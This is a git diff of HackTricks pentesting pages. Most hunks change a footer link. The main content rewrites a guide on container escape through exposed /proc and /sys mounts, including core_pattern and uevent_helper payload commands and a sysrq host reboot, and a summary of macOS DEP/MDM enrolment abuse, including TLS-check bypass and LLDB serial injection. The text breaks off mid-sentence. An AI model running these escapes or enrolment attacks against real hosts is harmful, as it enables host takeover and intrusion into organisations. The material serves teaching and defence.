Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** * **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. @@ -50,7 +50,7 @@ Other ways to support HackTricks: * If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** * **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. diff --git a/forensics/basic-forensic-methodology/linux-forensics.md b/forensics/basic-forensic-methodology/linux-forensics.md index a28eb16d5..c04ccfd77 100644 --- a/forensics/basic-forensic-methodology/linux-forensics.md +++ b/forensics/basic-forensic-methodology/linux-forensics.md @@ -17,7 +17,7 @@ Other ways to support HackTricks: * If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** * **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. diff --git a/forensics/basic-forensic-methodology/malware-analysis.md b/forensics/basic-forensic-methodology/malware-analysis.md index 58f5ed6eb..2331fd321 100644 --- a/forensics/basic-forensic-methodology/malware-analysis.md +++ b/forensics/basic-forensic-methodology/malware-analysis.md @@ -9,7 +9,7 @@ Other ways to support HackTricks: * If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** * **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. @@ -190,7 +190,7 @@ Other ways to support HackTricks: * If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** * **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. diff --git a/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md b/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md index bfb1e5dc8..eed2036fa 100644 --- a/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md +++ b/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md @@ -15,157 +15,141 @@ Other ways to support HackTricks: -(_**This info was taken from**_ [_**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**_](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)) +The exposure of `/proc` and `/sys` without proper namespace isolation introduces significant security risks, including attack surface enlargement and information disclosure. These directories contain sensitive files that, if misconfigured or accessed by an unauthorized user, can lead to container escape, host modification, or provide information aiding further attacks. For instance, incorrectly mounting `-v /proc:/host/proc` can bypass AppArmor protection due to its path-based nature, leaving `/host/proc` unprotected. -Due to the lack of namespace support, the exposure of `/proc` and `/sys` offers a source of significant attack surface and information disclosure. Numerous files within the `procfs` and `sysfs` offer a risk for container escape, host modification or basic information disclosure which could facilitate other attacks. +You can find further details of each potential vuln in [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts). -In order to abuse these techniques might be enough just to **miss-configure something like `-v /proc:/host/proc`** as AppArmor does not protect `/host/proc` because **AppArmor is path based** +# procfs Vulnerabilities -# procfs +## `/proc/sys` +This directory permits access to modify kernel variables, usually via `sysctl(2)`, and contains several subdirectories of concern: -## /proc/sys +### **`/proc/sys/kernel/core_pattern`** + - Described in [core(5)](https://man7.org/linux/man-pages/man5/core.5.html). + - Allows defining a program to execute on core-file generation with the first 128 bytes as arguments. This can lead to code execution if the file begins with a pipe `|`. + - **Testing and Exploitation Example**: + ```bash + [ -w /proc/sys/kernel/core_pattern ] && echo Yes # Test write access + cd /proc/sys/kernel + echo "|$overlay/shell.sh" > core_pattern # Set custom handler + sleep 5 && ./crash & # Trigger handler + ``` -`/proc/sys` typically allows access to modify kernel variables, often controlled through `sysctl(2)`. +### **`/proc/sys/kernel/modprobe`** + - Detailed in [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html). + - Contains the path to the kernel module loader, invoked for loading kernel modules. + - **Checking Access Example**: + ```bash + ls -l $(cat /proc/sys/kernel/modprobe) # Check access to modprobe + ``` -### /proc/sys/kernel/core\_pattern +### **`/proc/sys/vm/panic_on_oom`** + - Referenced in [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html). + - A global flag that controls whether the kernel panics or invokes the OOM killer when an OOM condition occurs. -[/proc/sys/kernel/core\_pattern](https://man7.org/linux/man-pages/man5/core.5.html) defines a program which is executed on core-file generation (typically a program crash) and is passed the core file as standard input if the first character of this file is a pipe symbol `|`. This program is run by the root user and will allow up to 128 bytes of command line arguments. This would allow trivial code execution within the container host given any crash and core file generation (which can be simply discarded during a myriad of malicious actions). +### **`/proc/sys/fs`** + - As per [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html), contains options and information about the file system. + - Write access can enable various denial-of-service attacks against the host. -```bash -[ -w /proc/sys/kernel/core_pattern ] && echo Yes #For testing -cd /proc/sys/kernel -echo "|$overlay/shell.sh" > core_pattern -sleep 5 && ./crash & -``` +### **`/proc/sys/fs/binfmt_misc`** + - Allows registering interpreters for non-native binary formats based on their magic number. + - Can lead to privilege escalation or root shell access if `/proc/sys/fs/binfmt_misc/register` is writable. + - Relevant exploit and explanation: + - [Poor man's rootkit via binfmt_misc](https://github.com/toffan/binfmt_misc) + - In-depth tutorial: [Video link](https://www.youtube.com/watch?v=WBC7hhgMvQQ) -### /proc/sys/kernel/modprobe +## Others in `/proc` -[/proc/sys/kernel/modprobe](https://man7.org/linux/man-pages/man5/proc.5.html) contains the path to the kernel module loader, which is called when loading a kernel module such as via the [modprobe](https://man7.org/linux/man-pages/man8/modprobe.8.html) command. Code execution can be gained by performing any action which will trigger the kernel to attempt to load a kernel module (such as using the crypto-API to load a currently unloaded crypto-module, or using ifconfig to load a networking module for a device not currently used). +### **`/proc/config.gz`** + - May reveal the kernel configuration if `CONFIG_IKCONFIG_PROC` is enabled. + - Useful for attackers to identify vulnerabilities in the running kernel. -```bash -# Check if you can directly access modprobe -ls -l `cat /proc/sys/kernel/modprobe` -``` +### **`/proc/sysrq-trigger`** + - Allows invoking Sysrq commands, potentially causing immediate system reboots or other critical actions. + - **Rebooting Host Example**: + ```bash + echo b > /proc/sysrq-trigger # Reboots the host + ``` -### /proc/sys/vm/panic\_on\_oom +### **`/proc/kmsg`** + - Exposes kernel ring buffer messages. + - Can aid in kernel exploits, address leaks, and provide sensitive system information. -[/proc/sys/vm/panic\_on\_oom](https://man7.org/linux/man-pages/man5/proc.5.html) is a global flag that determines whether the kernel will panic when an Out of Memory (OOM) condition is hit (rather than invoking the OOM killer). This is more of a Denial of Service (DoS) attack than container escape, but it no less exposes an ability which should only be available to the host +### **`/proc/kallsyms`** + - Lists kernel exported symbols and their addresses. + - Essential for kernel exploit development, especially for overcoming KASLR. + - Address information is restricted with `kptr_restrict` set to `1` or `2`. + - Details in [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html). -### /proc/sys/fs +### **`/proc/[pid]/mem`** + - Interfaces with the kernel memory device `/dev/mem`. + - Historically vulnerable to privilege escalation attacks. + - More on [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html). -[/proc/sys/fs](https://man7.org/linux/man-pages/man5/proc.5.html) directory contains an array of options and information concerning various aspects of the file system, including quota, file handle, inode, and dentry information. Write access to this directory would allow various denial-of-service attacks against the host. +### **`/proc/kcore`** + - Represents the system's physical memory in ELF core format. + - Reading can leak host system and other containers' memory contents. + - Large file size can lead to reading issues or software crashes. + - Detailed usage in [Dumping /proc/kcore in 2019](https://schlafwandler.github.io/posts/dumping-/proc/kcore/). -### /proc/sys/fs/binfmt\_misc +### **`/proc/kmem`** + - Alternate interface for `/dev/kmem`, representing kernel virtual memory. + - Allows reading and writing, hence direct modification of kernel memory. -[/proc/sys/fs/binfmt\_misc](https://man7.org/linux/man-pages/man5/proc.5.html) allows executing miscellaneous binary formats, which typically means various **interpreters can be registered for non-native binary** formats (such as Java) based on their magic number. You can make the kernel execute a binary registering it as handlers.\ -You can find an exploit in [https://github.com/toffan/binfmt\_misc](https://github.com/toffan/binfmt\_misc): _Poor man's rootkit, leverage_ [_binfmt\_misc_](https://github.com/torvalds/linux/raw/master/Documentation/admin-guide/binfmt-misc.rst)_'s_ [_credentials_](https://github.com/torvalds/linux/blame/3bdb5971ffc6e87362787c770353eb3e54b7af30/Documentation/binfmt\_misc.txt#L62) _option to escalate privilege through any suid binary (and to get a root shell) if `/proc/sys/fs/binfmt_misc/register` is writeable._ +### **`/proc/mem`** + - Alternate interface for `/dev/mem`, representing physical memory. + - Allows reading and writing, modification of all memory requires resolving virtual to physical addresses. -For a more in depth explanation of this technique check [https://www.youtube.com/watch?v=WBC7hhgMvQQ](https://www.youtube.com/watch?v=WBC7hhgMvQQ) +### **`/proc/sched_debug`** + - Returns process scheduling information, bypassing PID namespace protections. + - Exposes process names, IDs, and cgroup identifiers. -## /proc/config.gz +### **`/proc/[pid]/mountinfo`** + - Provides information about mount points in the process's mount namespace. + - Exposes the location of the container `rootfs` or image. -[/proc/config.gz](https://man7.org/linux/man-pages/man5/proc.5.html) depending on `CONFIG_IKCONFIG_PROC` settings, this exposes a compressed version of the kernel configuration options for the running kernel. This may allow a compromised or malicious container to easily discover and target vulnerable areas enabled in the kernel. +## `/sys` Vulnerabilities -## /proc/sysrq-trigger +### **`/sys/kernel/uevent_helper`** + - Used for handling kernel device `uevents`. + - Writing to `/sys/kernel/uevent_helper` can execute arbitrary scripts upon `uevent` triggers. + - **Example for Exploitation**: + %%%bash + # Creates a payload + echo "#!/bin/sh" > /evil-helper + echo "ps > /output" >> /evil-helper + chmod +x /evil-helper + # Finds host path from OverlayFS mount for container + host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab) + # Sets uevent_helper to malicious helper + echo "$host_path/evil-helper" > /sys/kernel/uevent_helper + # Triggers a uevent + echo change > /sys/class/mem/null/uevent + # Reads the output + cat /output + %%% -`Sysrq` is an old mechanism which can be invoked via a special `SysRq` keyboard combination. This can allow an immediate reboot of the system, issue of `sync(2)`, remounting all filesystems as read-only, invoking kernel debuggers, and other operations. +### **`/sys/class/thermal`** + - Controls temperature settings, potentially causing DoS attacks or physical damage. -If the guest is not properly isolated, it can trigger the [sysrq](https://www.kernel.org/doc/html/v4.11/admin-guide/sysrq.html) commands by writing characters to `/proc/sysrq-trigger` file. +### **`/sys/kernel/vmcoreinfo`** + - Leaks kernel addresses, potentially compromising KASLR. -```bash -# Reboot the host -echo b > /proc/sysrq-trigger -``` +### **`/sys/kernel/security`** + - Houses `securityfs` interface, allowing configuration of Linux Security Modules like AppArmor. + - Access might enable a container to disable its MAC system. -## /proc/kmsg +### **`/sys/firmware/efi/vars` and `/sys/firmware/efi/efivars`** + - Exposes interfaces for interacting with EFI variables in NVRAM. + - Misconfiguration or exploitation can lead to bricked laptops or unbootable host machines. -[/proc/kmsg](https://man7.org/linux/man-pages/man5/proc.5.html) can expose kernel ring buffer messages typically accessed via `dmesg`. Exposure of this information can aid in kernel exploits, trigger kernel address leaks (which could be used to help defeat the kernel Address Space Layout Randomization (KASLR)), and be a source of general information disclosure about the kernel, hardware, blocked packets and other system details. +### **`/sys/kernel/debug`** + - `debugfs` offers a "no rules" debugging interface to the kernel. + - History of security issues due to its unrestricted nature. -## /proc/kallsyms - -[/proc/kallsyms](https://man7.org/linux/man-pages/man5/proc.5.html) contains a list of kernel exported symbols and their address locations for dynamic and loadable modules. This also includes the location of the kernel's image in physical memory, which is helpful for kernel exploit development. From these locations, the base address or offset of the kernel can be located, which can be used to overcome kernel Address Space Layout Randomization (KASLR). - -For systems with `kptr_restrict` set to `1` or `2`, this file will exist but not provide any address information (although the order in which the symbols are listed is identical to the order in memory). - -## /proc/\[pid]/mem - -[/proc/\[pid\]/mem](https://man7.org/linux/man-pages/man5/proc.5.html) exposes interfaces to the kernel memory device `/dev/mem`. While the PID Namespace may protect from some attacks via this `procfs` vector, this area of has been historically vulnerable, then thought safe and again found to be [vulnerable](https://git.zx2c4.com/CVE-2012-0056/about/) for privilege escalation. - -## /proc/kcore - -[/proc/kcore](https://man7.org/linux/man-pages/man5/proc.5.html) represents the physical memory of the system and is in an ELF core format (typically found in core dump files). It does not allow writing to said memory. The ability to read this file (restricted to privileged users) can leak memory contents from the host system and other containers. - -The large reported file size represents the maximum amount of physically addressable memory for the architecture, and can cause problems when reading it (or crashes depending on the fragility of the software). - -[Dumping /proc/kcore in 2019](https://schlafwandler.github.io/posts/dumping-/proc/kcore/) - -## /proc/kmem - -`/proc/kmem` is an alternate interface for [/dev/kmem](https://man7.org/linux/man-pages/man4/kmem.4.html) (direct access to which is blocked by the cgroup device whitelist), which is a character device file representing kernel virtual memory. It allows both reading and writing, allowing direct modification of kernel memory. - -## /proc/mem - -`/proc/mem` is an alternate interface for [/dev/mem](https://man7.org/linux/man-pages/man4/kmem.4.html) (direct access to which is blocked by the cgroup device whitelist), which is a character device file representing physical memory of the system. It allows both reading and writing, allowing modification of all memory. (It requires slightly more finesse than `kmem`, as virtual addresses need to be resolved to physical addresses first). - -## /proc/sched\_debug - -`/proc/sched_debug` is a special file returns process scheduling information for the entire system. This information includes process names and process IDs from all namespaces in addition to process cgroup identifiers. This effectively bypasses the PID namespace protections and is other/world readable, so it can be exploited in unprivileged containers as well. - -## /proc/\[pid]/mountinfo - -[/proc/\[pid\]/mountinfo](https://man7.org/linux/man-pages/man5/proc.5.html) contains information about mount points in the process's mount namespace. It exposes the location of the container `rootfs` or image. - -# sysfs - -## /sys/kernel/uevent\_helper - -`uevents` are events triggered by the kernel when a device is added or removed. Notably, the path for the `uevent_helper` can be modified by writing to `/sys/kernel/uevent_helper`. Then, when a `uevent` is triggered (which can also be done from userland by writing to files such as `/sys/class/mem/null/uevent`), the malicious `uevent_helper` gets executed. - -```bash -# Creates a payload -cat "#!/bin/sh" > /evil-helper -cat "ps > /output" >> /evil-helper -chmod +x /evil-helper -# Finds path of OverlayFS mount for container -# Unless the configuration explicitly exposes the mount point of the host filesystem -# see https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html -host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab` -# Sets uevent_helper to /path/payload -echo "$host_path/evil-helper" > /sys/kernel/uevent_helper -# Triggers a uevent -echo change > /sys/class/mem/null/uevent -# or else -# echo /sbin/poweroff > /sys/kernel/uevent_helper -# Reads the output -cat /output -``` - -## /sys/class/thermal - -Access to ACPI and various hardware settings for temperature control, typically found in laptops or gaming motherboards. This may allow for DoS attacks against the container host, which may even lead to physical damage. - -## /sys/kernel/vmcoreinfo - -This file can leak kernel addresses which could be used to defeat KASLR. - -## /sys/kernel/security - -In `/sys/kernel/security` mounted the `securityfs` interface, which allows configuration of Linux Security Modules. This allows configuration of [AppArmor policies](https://gitlab.com/apparmor/apparmor/-/wikis/Kernel\_interfaces#securityfs-syskernelsecurityapparmor), and so access to this may allow a container to disable its MAC system. - -## /sys/firmware/efi/vars - -`/sys/firmware/efi/vars` exposes interfaces for interacting with EFI variables in NVRAM. While this is not typically relevant for most servers, EFI is becoming more and more popular. Permission weaknesses have even lead to some bricked laptops. - -## /sys/firmware/efi/efivars - -`/sys/firmware/efi/efivars` provides an interface to write to the NVRAM used for UEFI boot arguments. Modifying them can render the host machine unbootable. - -## /sys/kernel/debug - -`debugfs` provides a "no rules" interface by which the kernel (or kernel modules) can create debugging interfaces accessible to userland. It has had a number of security issues in the past, and the "no rules" guidelines behind the filesystem have often clashed with security constraints. # References - +* [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts) * [Understanding and Hardening Linux Containers](https://research.nccgroup.com/wp-content/uploads/2020/07/ncc\_group\_understanding\_hardening\_linux\_containers-1-1.pdf) * [Abusing Privileged and Unprivileged Linux Containers](https://www.nccgroup.com/globalassets/our-research/us/whitepapers/2016/june/container\_whitepaper.pdf) diff --git a/macos-hardening/macos-red-teaming/macos-mdm/enrolling-devices-in-other-organisations.md b/macos-hardening/macos-red-teaming/macos-mdm/enrolling-devices-in-other-organisations.md index 77f3c13c3..6b3d77429 100644 --- a/macos-hardening/macos-red-teaming/macos-mdm/enrolling-devices-in-other-organisations.md +++ b/macos-hardening/macos-red-teaming/macos-mdm/enrolling-devices-in-other-organisations.md @@ -19,421 +19,53 @@ Other ways to support HackTricks: As [**previously commented**](./#what-is-mdm-mobile-device-management)**,** in order to try to enrol a device into an organization **only a Serial Number belonging to that Organization is needed**. Once the device is enrolled, several organizations will install sensitive data on the new device: certificates, applications, WiFi passwords, VPN configurations [and so on](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf).\ Therefore, this could be a dangerous entrypoint for attackers if the enrolment process isn't correctly protected. -**The following research is taken from** [**https://duo.com/labs/research/mdm-me-maybe**](https://duo.com/labs/research/mdm-me-maybe) +**The following is a summary of the research [https://duo.com/labs/research/mdm-me-maybe](https://duo.com/labs/research/mdm-me-maybe). Check it for further technical details!** -## Reversing the process +## Overview of DEP and MDM Binary Analysis -### Binaries Involved in DEP and MDM +This research delves into the binaries associated with the Device Enrollment Program (DEP) and Mobile Device Management (MDM) on macOS. Key components include: -Throughout our research, we explored the following: +- **`mdmclient`**: Communicates with MDM servers and triggers DEP check-ins on macOS versions before 10.13.4. +- **`profiles`**: Manages Configuration Profiles, and triggers DEP check-ins on macOS versions 10.13.4 and later. +- **`cloudconfigurationd`**: Manages DEP API communications and retrieves Device Enrollment profiles. -* **`mdmclient`**: Used by the OS to communicate with an MDM server. On macOS 10.13.3 and earlier, it can also be used to trigger a DEP check-in. -* **`profiles`**: A utility that can be used to install, remove and view Configuration Profiles on macOS. It can also be used to trigger a DEP check-in on macOS 10.13.4 and newer. -* **`cloudconfigurationd`**: The Device Enrollment client daemon, which is responsible for communicating with the DEP API and retrieving Device Enrollment profiles. +DEP check-ins utilize the `CPFetchActivationRecord` and `CPGetActivationRecord` functions from the private Configuration Profiles framework to fetch the Activation Record, with `CPFetchActivationRecord` coordinating with `cloudconfigurationd` through XPC. -When using either `mdmclient` or `profiles` to initiate a DEP check-in, the `CPFetchActivationRecord` and `CPGetActivationRecord` functions are used to retrieve the _Activation Record_. `CPFetchActivationRecord` delegates control to `cloudconfigurationd` through [XPC](https://developer.apple.com/documentation/xpc), which then retrieves the _Activation Record_ from the DEP API. +## Tesla Protocol and Absinthe Scheme Reverse Engineering -`CPGetActivationRecord` retrieves the _Activation Record_ from cache, if available. These functions are defined in the private Configuration Profiles framework, located at `/System/Library/PrivateFrameworks/Configuration Profiles.framework`. +The DEP check-in involves `cloudconfigurationd` sending an encrypted, signed JSON payload to _iprofiles.apple.com/macProfile_. The payload includes the device's serial number and the action "RequestProfileConfiguration". The encryption scheme used is referred to internally as "Absinthe". Unraveling this scheme is complex and involves numerous steps, which led to exploring alternative methods for inserting arbitrary serial numbers in the Activation Record request. -### Reverse Engineering the Tesla Protocol and Absinthe Scheme +## Proxying DEP Requests -During the DEP check-in process, `cloudconfigurationd` requests an _Activation Record_ from _iprofiles.apple.com/macProfile_. The request payload is a JSON dictionary containing two key-value pairs: +Attempts to intercept and modify DEP requests to _iprofiles.apple.com_ using tools like Charles Proxy were hindered by payload encryption and SSL/TLS security measures. However, enabling the `MCCloudConfigAcceptAnyHTTPSCertificate` configuration allows bypassing the server certificate validation, although the payload's encrypted nature still prevents modification of the serial number without the decryption key. -``` -{ -"sn": "", -action": "RequestProfileConfiguration -} -``` +## Instrumenting System Binaries Interacting with DEP -The payload is signed and encrypted using a scheme internally referred to as "Absinthe." The encrypted payload is then Base 64 encoded and used as the request body in an HTTP POST to _iprofiles.apple.com/macProfile_. +Instrumenting system binaries like `cloudconfigurationd` requires disabling System Integrity Protection (SIP) on macOS. With SIP disabled, tools like LLDB can be used to attach to system processes and potentially modify the serial number used in DEP API interactions. This method is preferable as it avoids the complexities of entitlements and code signing. -In `cloudconfigurationd`, fetching the _Activation Record_ is handled by the `MCTeslaConfigurationFetcher` class. The general flow from `[MCTeslaConfigurationFetcher enterState:]` is as follows: +**Exploiting Binary Instrumentation:** +Modifying the DEP request payload before JSON serialization in `cloudconfigurationd` proved effective. The process involved: -``` -rsi = @selector(verifyConfigBag); -rsi = @selector(startCertificateFetch); -rsi = @selector(initializeAbsinthe); -rsi = @selector(startSessionKeyFetch); -rsi = @selector(establishAbsintheSession); -rsi = @selector(startConfigurationFetch); -rsi = @selector(sendConfigurationInfoToRemote); -rsi = @selector(sendFailureNoticeToRemote); -``` +1. Attaching LLDB to `cloudconfigurationd`. +2. Locating the point where the system serial number is fetched. +3. Injecting an arbitrary serial number into the memory before the payload is encrypted and sent. -Since the **Absinthe** scheme is what appears to be used to authenticate requests to the DEP service, **reverse engineering** this scheme would allow us to make our own authenticated requests to the DEP API. This proved to be **time consuming**, though, mostly because of the number of steps involved in authenticating requests. Rather than fully reversing how this scheme works, we opted to explore other methods of inserting arbitrary serial numbers as part of the _Activation Record_ request. +This method allowed for retrieving complete DEP profiles for arbitrary serial numbers, demonstrating a potential vulnerability. -### MITMing DEP Requests +### Automating Instrumentation with Python -We explored the feasibility of proxying network requests to _iprofiles.apple.com_ with [Charles Proxy](https://www.charlesproxy.com). Our goal was to inspect the payload sent to _iprofiles.apple.com/macProfile_, then insert an arbitrary serial number and replay the request. As previously mentioned, the payload submitted to that endpoint by `cloudconfigurationd` is in [JSON](https://www.json.org) format and contains two key-value pairs. +The exploitation process was automated using Python with the LLDB API, making it feasible to programmatically inject arbitrary serial numbers and retrieve corresponding DEP profiles. -``` -{ -"action": "RequestProfileConfiguration", -sn": " -} -``` +### Potential Impacts of DEP and MDM Vulnerabilities -Since the API at _iprofiles.apple.com_ uses [Transport Layer Security](https://en.wikipedia.org/wiki/Transport\_Layer\_Security) (TLS), we needed to enable SSL Proxying in Charles for that host to see the plain text contents of the SSL requests. +The research highlighted significant security concerns: -However, the `-[MCTeslaConfigurationFetcher connection:willSendRequestForAuthenticationChallenge:]` method checks the validity of the server certificate, and will abort if server trust cannot be verified. +1. **Information Disclosure**: By providing a DEP-registered serial number, sensitive organizational information contained in the DEP profile can be retrieved. +2. **Rogue DEP Enrollment**: Without proper authentication, an attacker with a DEP-registered serial number can enroll a rogue device into an organization's MDM server, potentially gaining access to sensitive data and network resources. -``` -[ERROR] Unable to get activation record: Error Domain=MCCloudConfigurationErrorDomain Code=34011 -"The Device Enrollment server trust could not be verified. Please contact your system -administrator." UserInfo={USEnglishDescription=The Device Enrollment server trust could not be -verified. Please contact your system administrator., NSLocalizedDescription=The Device Enrollment -server trust could not be verified. Please contact your system administrator., -MCErrorType=MCFatalError} -``` +In conclusion, while DEP and MDM provide powerful tools for managing Apple devices in enterprise environments, they also present potential attack vectors that need to be secured and monitored. -The error message shown above is located in a binary _Errors.strings_ file with the key `CLOUD_CONFIG_SERVER_TRUST_ERROR`, which is located at `/System/Library/CoreServices/ManagedClient.app/Contents/Resources/English.lproj/Errors.strings`, along with other related error messages. -``` -$ cd /System/Library/CoreServices -$ rg "The Device Enrollment server trust could not be verified" -ManagedClient.app/Contents/Resources/English.lproj/Errors.strings - -``` - -The _Errors.strings_ file can be [printed in a human-readable format](https://duo.com/labs/research/mdm-me-maybe#error\_strings\_output) with the built-in `plutil` command. - -``` -$ plutil -p /System/Library/CoreServices/ManagedClient.app/Contents/Resources/English.lproj/Errors.strings -``` - -After looking into the `MCTeslaConfigurationFetcher` class further, though, it became clear that this server trust behavior can be circumvented by enabling the `MCCloudConfigAcceptAnyHTTPSCertificate` configuration option on the `com.apple.ManagedClient.cloudconfigurationd` preference domain. - -``` -loc_100006406: -rax = [NSUserDefaults standardUserDefaults]; -rax = [rax retain]; -r14 = [rax boolForKey:@"MCCloudConfigAcceptAnyHTTPSCertificate"]; -r15 = r15; -[rax release]; -if (r14 != 0x1) goto loc_10000646f; -``` - -The `MCCloudConfigAcceptAnyHTTPSCertificate` configuration option can be set with the `defaults` command. - -``` -sudo defaults write com.apple.ManagedClient.cloudconfigurationd MCCloudConfigAcceptAnyHTTPSCertificate -bool yes -``` - -With SSL Proxying enabled for _iprofiles.apple.com_ and `cloudconfigurationd` configured to accept any HTTPS certificate, we attempted to man-in-the-middle and replay the requests in Charles Proxy. - -However, since the payload included in the body of the HTTP POST request to _iprofiles.apple.com/macProfile_ is signed and encrypted with Absinthe, (`NACSign`), **it isn't possible to modify the plain text JSON payload to include an arbitrary serial number without also having the key to decrypt it**. Although it would be possible to obtain the key because it remains in memory, we instead moved on to exploring `cloudconfigurationd` with the [LLDB](https://lldb.llvm.org) debugger. - -### Instrumenting System Binaries That Interact With DEP - -The final method we explored for automating the process of submitting arbitrary serial numbers to _iprofiles.apple.com/macProfile_ was to instrument native binaries that either directly or indirectly interact with the DEP API. This involved some initial exploration of the `mdmclient`, `profiles`, and `cloudconfigurationd` in [Hopper v4](https://www.hopperapp.com) and [Ida Pro](https://www.hex-rays.com/products/ida/), and some lengthy debugging sessions with `lldb`. - -One of the benefits of this method over modifying the binaries and re-signing them with our own key is that it sidesteps some of the entitlements restrictions built into macOS that might otherwise deter us. - -**System Integrity Protection** - -In order to instrument system binaries, (such as `cloudconfigurationd`) on macOS, [System Integrity Protection](https://support.apple.com/en-us/HT204899) (SIP) must be disabled. SIP is a security technology that protects system-level files, folders, and processes from tampering, and is enabled by default on OS X 10.11 “El Capitan” and later. [SIP can be disabled](https://developer.apple.com/library/archive/documentation/Security/Conceptual/System\_Integrity\_Protection\_Guide/ConfiguringSystemIntegrityProtection/ConfiguringSystemIntegrityProtection.html) by booting into Recovery Mode and running the following command in the Terminal application, then rebooting: - -``` -csrutil enable --without debug -``` - -It’s worth noting, however, that SIP is a useful security feature and should not be disabled except for research and testing purposes on non-production machines. It’s also possible (and recommended) to do this on non-critical Virtual Machines rather than on the host operating system. - -**Binary Instrumentation With LLDB** - -With SIP disabled, we were then able to move forward with instrumenting the system binaries that interact with the DEP API, namely, the `cloudconfigurationd` binary. Because `cloudconfigurationd` requires elevated privileges to run, we need to start `lldb` with `sudo`. - -``` -$ sudo lldb -(lldb) process attach --waitfor --name cloudconfigurationd -``` - -While `lldb` is 